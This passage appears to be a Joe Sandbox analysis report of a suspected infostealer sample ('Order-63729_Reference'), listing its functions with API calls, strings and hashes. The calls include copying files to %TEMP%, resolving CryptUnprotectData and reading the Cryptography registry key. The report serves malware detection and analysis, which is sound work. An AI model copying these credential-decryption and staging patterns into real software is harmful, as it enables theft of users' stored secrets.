Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$CopyCryptDataDeleteFreeLocalUnprotect
String ID: %TEMP%$.tmp
API String ID: 691380987-3650661790
Opcode ID: ff390ccba56e41617331dcdbb0dbcf673e7d561a78aaa8bf956a816d18392e9a
Instruction ID: 0066d1c1be5024352ad70b1cbef22ae6b56226110b13b2bd45aebffaaabcbc52
Opcode Fuzzy Hash: ff390ccba56e41617331dcdbb0dbcf673e7d561a78aaa8bf956a816d18392e9a
Instruction Fuzzy Hash: 3981A471A10109AFDB00EB99D881E9EB7B9EF48304F108576F514F72A2DA39AE058B59

Function 00410E58 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410EB4
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30

Strings

%TEMP%, xrefs: 00410EEF
.tmp, xrefs: 00410ECF

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 71d4356d5b8ab150d6d7ae120008b3632c0b26e295f3c551c53d8ac44dd30d99
Instruction ID: 0e4f139da3bc19c2096e57fedbffea1b6a0c7ee0d64fc6893e7b5a554fe936bc
Opcode Fuzzy Hash: 71d4356d5b8ab150d6d7ae120008b3632c0b26e295f3c551c53d8ac44dd30d99
Instruction Fuzzy Hash: D0411F31904249AEDB01EBA1D852ACDBF79EF49308F50447BF500B76A3D67CAE458A58

Function 00410E60 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410EB4
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30

Strings

%TEMP%, xrefs: 00410EEF
.tmp, xrefs: 00410ECF

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 42e2ed591ab2375e557bcd4e67afb7ea18aab4fe4c4cea69840bb0f4bad3f493
Instruction ID: 2c73a4ceecea9b7a55c8e1441bd033eb3759b1d2195d340dd4b2e4f4f6784083
Opcode Fuzzy Hash: 42e2ed591ab2375e557bcd4e67afb7ea18aab4fe4c4cea69840bb0f4bad3f493
Instruction Fuzzy Hash: DF412131904149AFDB01FFA1D842ACDBBB9EF49318F50447BF500B36A2D67CAE458A58

Function 00410E68 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410EB4
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30

Strings

%TEMP%, xrefs: 00410EEF
.tmp, xrefs: 00410ECF

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: dbff4cb9806919121b4aa95a3b0791f071372acd55c27690005f846280e4feee
Instruction ID: 3bd2312418c75e2bfd4f88111c3886d823680ea6e83d1d6075c9c2a9f0993f15
Opcode Fuzzy Hash: dbff4cb9806919121b4aa95a3b0791f071372acd55c27690005f846280e4feee
Instruction Fuzzy Hash: 4241013190410DAEDB01FFA1D842ADDBBB9EF49318F50447BF500B36A2D77DAE458A58

Function 00410BB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410BFD
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00410E58,?,.tmp,?,?,00000000,00410DA0,?,00000000,00410E20,?,00000000), ref: 00410C79

Strings

%TEMP%, xrefs: 00410C38
.tmp, xrefs: 00410C18

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: a844e460ca12fab54dd090d60ba17b1d5e60cbd1142c32e089664fe1a1f3b203
Instruction ID: ad1686550c7843c0884c0506788be05dc1fde737249d1bd281ecbc27d8194f8d
Opcode Fuzzy Hash: a844e460ca12fab54dd090d60ba17b1d5e60cbd1142c32e089664fe1a1f3b203
Instruction Fuzzy Hash: BF412330914109AEDB01FF91D952ADDBBBDEF49318F50447BF400B7292D77CAE458A58

Function 00410BB4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410BFD
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00410E58,?,.tmp,?,?,00000000,00410DA0,?,00000000,00410E20,?,00000000), ref: 00410C79

Strings

%TEMP%, xrefs: 00410C38
.tmp, xrefs: 00410C18

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: e41cac9b7a52a944f5da26e6792ac143fc139a2de51e40ec829945d5a55d5176
Instruction ID: ab4a798e1dfa23648b03a2b2561a2af29de01fabf162149de749457abe37d48b
Opcode Fuzzy Hash: e41cac9b7a52a944f5da26e6792ac143fc139a2de51e40ec829945d5a55d5176
Instruction Fuzzy Hash: 37411331910109AEDB01FF92D952ADDBBBDEF48318F50447BF400B3292D77DAE458A58

Function 0040DDB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040DEAF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,004148F8,00000001,00414C4C), ref: 0040DE38
DeleteFileW.KERNEL32(00000000,00000000,0040DEAF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,004148F8,00000001,00414C4C,00000001,?), ref: 0040DE7A

Strings

%TEMP%\curbuf.dat, xrefs: 0040DE1C, 0040DE44, 0040DE67
LLA, xrefs: 0040DE19, 0040DE26

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$AllocCopyDeleteString
String ID: %TEMP%\curbuf.dat$LLA
API String ID: 5292005-3909751444
Opcode ID: ef1a05d7c941359f6caa0c58c5dbae41b6956788d85cd4824c3945821882219e
Instruction ID: d3139e3bb668dcd489f787ebceafddff3eb8ed9e6fe86914fc70b8a9fa006da4
Opcode Fuzzy Hash: ef1a05d7c941359f6caa0c58c5dbae41b6956788d85cd4824c3945821882219e
Instruction Fuzzy Hash: 3E21FC74D10509ABDB00FBE5C88299EB7B9AF54305F50857BF400B72D2D738AE058A99

Function 0040955E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(crypt32.dll,CryptUnprotectData), ref: 00409573
GetProcAddress.KERNEL32(00000000,crypt32.dll), ref: 00409579

Strings

CryptUnprotectData, xrefs: 00409569
crypt32.dll, xrefs: 0040956E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32.dll
API String ID: 2574300362-1827663648
Opcode ID: 75ffce093a627a703e76a5faf482da699b1f717085a244e79174a14ab70f32b7
Instruction ID: 1936ed15528034ef1a8706b88be01f12f22861c51f7a066308f0a1848fab801f
Opcode Fuzzy Hash: 75ffce093a627a703e76a5faf482da699b1f717085a244e79174a14ab70f32b7
Instruction Fuzzy Hash: 89C04CF368030376CF466B779D4A5462294B7C1B1D760493BF511B11D2D6BC8D404F5D

Function 00407C58 Relevance: 4.6, APIs: 3, Instructions: 80COMMON

Download Yara Rule

APIs

LookupAccountSidA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,?,00000000,00407D16), ref: 00407CD9
CheckTokenMembership.KERNELBASE(00000000,00000000,?), ref: 00407CEC
FreeSid.ADVAPI32(00000000,00407D1D), ref: 00407D10

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AccountCheckFreeLookupMembershipToken
String ID:
API String ID: 1602037265-0
Opcode ID: 2fd40f1cd6d938c6e5d16d2cd6dc980c4c8d1b789cf8552ef7046a50898a570f
Instruction ID: 099d520652cb879bdf47a43f009fc20e3076d83f6f5b891ba4a5cda1263a2b72
Opcode Fuzzy Hash: 2fd40f1cd6d938c6e5d16d2cd6dc980c4c8d1b789cf8552ef7046a50898a570f
Instruction Fuzzy Hash: 7821A475A04209AFDB41CFA8DC51FEEB7F8EB48700F104466EA14E7290E775AA01DBA5

Function 004072A0 Relevance: 4.6, APIs: 3, Instructions: 54fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

CreateFileW.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000000,00000000,00000000,00407334,?,00000000), ref: 004072EA
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00407307
CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00407314

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileString$AllocCloseCreateFreeHandleWrite
String ID:
API String ID: 4097030272-0
Opcode ID: 96112cf46e63d2d263f6c586123e846ce9d1e06681dd97ffb7b674c20077b506
Instruction ID: 3b510cbaec4aa3dd23b0a59a32c8df0f07f2b1188254ef1f4a9bf23c6d4a84f0
Opcode Fuzzy Hash: 96112cf46e63d2d263f6c586123e846ce9d1e06681dd97ffb7b674c20077b506
Instruction Fuzzy Hash: 4311EC70A04208BBD711EB65CC82F9EBBACEB48704F504076B914F72D1DA746E048A58

Function 004013EC Relevance: 3.8, APIs: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040140A
VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040142F
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 00401455

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: d0f7f9bf85a63e2073a0b0aba1efbedd90cc19d60285e6920d01ae654114abd6
Instruction ID: 45c7259c7c7f7a53f47d7ebf7c15b413a2e3392a3d77efebc7c94e45ea16ea77
Opcode Fuzzy Hash: d0f7f9bf85a63e2073a0b0aba1efbedd90cc19d60285e6920d01ae654114abd6
Instruction Fuzzy Hash: 93F0C8B17403206ADB319A294C85F537AD49B4A764F144176BB08FF3DAD675580086AC

Function 00417094 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

UTC+, xrefs: 00417105

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeInformationStringTimeZone
String ID: UTC+
API String ID: 3683333525-3251258214
Opcode ID: 1046955f6ff4cd58d7fbe5d7b9ecbab25abad90a7201c39de0429cb196e3f3e3
Instruction ID: 7cb0a8ca1bf39953f010b15065abca6362deebc9d482a7f0187c0908cc86bad5
Opcode Fuzzy Hash: 1046955f6ff4cd58d7fbe5d7b9ecbab25abad90a7201c39de0429cb196e3f3e3
Instruction Fuzzy Hash: A8215E747087145FDB55DB298C41B99B6FAAB8D300F1181FAB80CE3391D7389E458A15

Function 004040F4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 00404101

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: SOFTWARE\Microsoft\Cryptography
API String ID: 2525500382-1514646153
Opcode ID: 6827334effe1af4081dab58951797ab719276b71555c5be752b1280ab307ebe8
Instruction ID: 809722c095ea45080b132ee1ecccaea0ad8e4e48b5b2181e80121cad3d0a43f6
Opcode Fuzzy Hash: 6827334effe1af4081dab58951797ab719276b71555c5be752b1280ab307ebe8
Instruction Fuzzy Hash: E6D012F42001025AD7489F198555A37776E5BD1700368C6BEA101BF2D5DB39E841EB34

Function 00407B78 Relevance: 3.1, APIs: 2, Instructions: 84COMMON

Download Yara Rule

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000000,00407C46), ref: 00407C19
FreeSid.ADVAPI32(00000000,00407C4D), ref: 00407C40

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CheckFreeMembershipToken
String ID:
API String ID: 3914140973-0
Opcode ID: 02d2a01e1651f1c233edb1ebec011e8a64dd2af6dca5e3f4e19433a4a010ba8d
Instruction ID: aed4e80559fb2a14190837efd407bda22eaf0f983d9af5a1b784dce0b7ff3491
Opcode Fuzzy Hash: 02d2a01e1651f1c233edb1ebec011e8a64dd2af6dca5e3f4e19433a4a010ba8d
Instruction Fuzzy Hash: 60214F75A48388BEE701DBA8CC41FAE77FCEB09704F4084B6E610E3291D775AA098759

Function 00407B77 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000000,00407C46), ref: 00407C19
FreeSid.ADVAPI32(00000000,00407C4D), ref: 00407C40

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CheckFreeMembershipToken
String ID:
API String ID: 3914140973-0
Opcode ID: 85f5b30b1e39150e1c8e346ace12111ea4b56de602e113dca3c1568075f88dab
Instruction ID: f84fb7a27dacd8e4143a25a8c882f6f2bfcd0e0861e01e35ab8e7fc80b6cb224
Opcode Fuzzy Hash: 85f5b30b1e39150e1c8e346ace12111ea4b56de602e113dca3c1568075f88dab
Instruction Fuzzy Hash: 0A216075A48248BEE701CBA8CC81FAE77F8EB0D704F5084B6F610E36D1D775AA058B59

Function 00407500 Relevance: 3.1, APIs: 2, Instructions: 76registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407582
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AllocOpenQueryStringValue
String ID:
API String ID: 4139485348-0
Opcode ID: 3ed5b2ee1dba194cc6dbe336fcadb55ada54ae4c4b70a41d90ff88955bf18e37
Instruction ID: a534eb6d79e9af16e12b264bd48d331209bfd9d9316274433d90d6d6e5d4440a
Opcode Fuzzy Hash: 3ed5b2ee1dba194cc6dbe336fcadb55ada54ae4c4b70a41d90ff88955bf18e37
Instruction Fuzzy Hash: 1921C771A04109AFD700EB99CD81EEEBBFCEB48304F504576B904E7691D774AE448A65

Function 004033F4 Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00400000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,0041913B,00000000), ref: 00403479
ExitProcess.KERNEL32(00000000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,0041913B,00000000), ref: 004034AE

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 8728ad655b3e503d2fdb3a62f9eb409c209a4d433934cda3c6acf7bd146207aa
Instruction ID: 759013028fc8479fd2dc72d2fd20690e0ff356ad8f398ebd0a8dd26c183a4070
Opcode Fuzzy Hash: 8728ad655b3e503d2fdb3a62f9eb409c209a4d433934cda3c6acf7bd146207aa
Instruction Fuzzy Hash: 532162709002408BDB229F6584847577FD9AB49356F2585BBE844AF2C6D77CCEC0C7AD

Function 004033EC Relevance: 3.1, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00400000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,0041913B,00000000), ref: 00403479
ExitProcess.KERNEL32(00000000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,0041913B,00000000), ref: 004034AE

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 12e1264d31eb56f2234adc36a07824a312904d80612c0ba461cf097056190f6f
Instruction ID: 6a24a9e445b26bd493014d0ae565dbad687ffc3c4e0e672e3f19fd4d116e45a8
Opcode Fuzzy Hash: 12e1264d31eb56f2234adc36a07824a312904d80612c0ba461cf097056190f6f
Instruction Fuzzy Hash: 082132709002408FDB229F6584847567FE9AF49316F1585BBE844AE2D6D77CCEC0C799

Function 004033F0 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00400000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,0041913B,00000000), ref: 00403479
ExitProcess.KERNEL32(00000000,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000,00402568,?,00403505,?,0041913B,00000000), ref: 004034AE

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: ExitFreeLibraryProcess
String ID:
API String ID: 1404682716-0
Opcode ID: 48b7e33afc810a21c896a39620d19b1e342ee901d510fcbf56cb23baece62cc7
Instruction ID: 27f7e017d1627fb368da8b77f9887733e34b03074980a547fb73b729214f25e1
Opcode Fuzzy Hash: 48b7e33afc810a21c896a39620d19b1e342ee901d510fcbf56cb23baece62cc7
Instruction Fuzzy Hash: A42141709002408BDB229F6584847577FE9AF49316F2585BBE844AE2C6D77CCEC0CB9D

Function 00406DA8 Relevance: 3.1, APIs: 2, Instructions: 58registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020119,?), ref: 00406E08
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,000000FE), ref: 00406E2F

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: String$AllocFreeOpenQueryValue
String ID:
API String ID: 967375698-0
Opcode ID: 42e8ac0eb481dbdee281ab6c948f954a5f7be2f1dbc7aad8dbdbf02e747b1a52
Instruction ID: d76901b39ac324b957afaa178e8467113ca23e905bfc9c7565385042a447591e
Opcode Fuzzy Hash: 42e8ac0eb481dbdee281ab6c948f954a5f7be2f1dbc7aad8dbdbf02e747b1a52
Instruction Fuzzy Hash: 4E110A71600209AFD700EB99C991ADEBBFCEB48304F504176B504E3291D774AF048AA5

Function 00406DAC Relevance: 3.1, APIs: 2, Instructions: 58registryCOMMON

Download Yara Rule

APIs

